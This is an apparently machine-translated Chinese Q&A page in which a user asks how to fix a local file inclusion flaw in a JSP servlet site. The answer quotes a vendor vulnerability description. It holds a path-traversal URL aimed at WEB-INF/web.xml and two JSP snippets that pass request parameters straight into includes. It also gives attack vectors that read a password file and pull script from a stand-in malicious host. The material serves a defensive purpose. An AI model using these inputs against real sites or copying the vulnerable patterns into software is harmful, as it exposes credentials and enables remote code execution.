危险文件包含:本地漏洞

时间:2014-08-27 07:35:36

标签: java jsp security servlets

请帮助我如何解决危险文件包含:本地漏洞 我正在努力的网站。

例如

http://test.abc.com:80/abc.jsp?AccessKey=/..//WEB-INF/web.xml

它是jsp servlets应用程序。

由于

1 个答案:

答案 0 :(得分:0)

我无法访问该页面,但此处有关于如何避免该错误的信息:

http://www.hpenterprisesecurity.com/vulncat/en/vulncat/java/dangerous_file_inclusion.html

  

危险文件包含

     

允许未经验证的用户输入来控制包含的文件   动态地在JSP中可能导致恶意代码执行。说明

     

许多现代Web脚本语言支持代码重用和   通过包含其他源文件的能力进行模块化   在一个封装文件中。这种能力通常用于应用   应用程序的标准外观(模板),共享功能   无需编译代码,或者将代码分解成更小的代码   更易于管理的文件。包含的文件被解释为   父文件并以相同的方式执行。文件包含   控制包含文件的路径时发生漏洞   通过未经验证的用户输入。

     

示例1:以下是本地文件包含的示例   漏洞。示例代码采用用户指定的模板名称   并将其包含在要呈现的JSP页面中。

<jsp:include page="<%=(String)request.getParameter(\"template\")%>"> 
  

如果攻击者为动态包含指定了有效文件   声明,该文件的内容将传递给JSP   翻译将在页面上呈现。

     

对于形式

的攻击媒介      

specialpage.jsp?模板= / WEB-INF /数据库/ passwordDB

     

JSP解释器将呈现的内容   / WEB-INF / database / passwordDB文件到JSP页面因而妥协   系统的安全性。

     

更糟糕的是,如果攻击者可以指定受控远程站点的路径   由攻击者,然后动态包含语句将执行   攻击者提供的任意恶意代码。

     

示例2:显示了远程文件包含漏洞的示例   下面。示例代码使用c:import标记导入用户   将指定的远程文件放入当前的JSP页面。

<c:import url="<%= request.getParameter("privacy")%>"> 
  

形式

的攻击媒介      

policy.jsp?隐私= http://www.malicioushost.com/attackdata.js

     

可以将恶意代码从远程站点注入当前JSP页面   由攻击者控制。

所以你应该查看你的jsp包含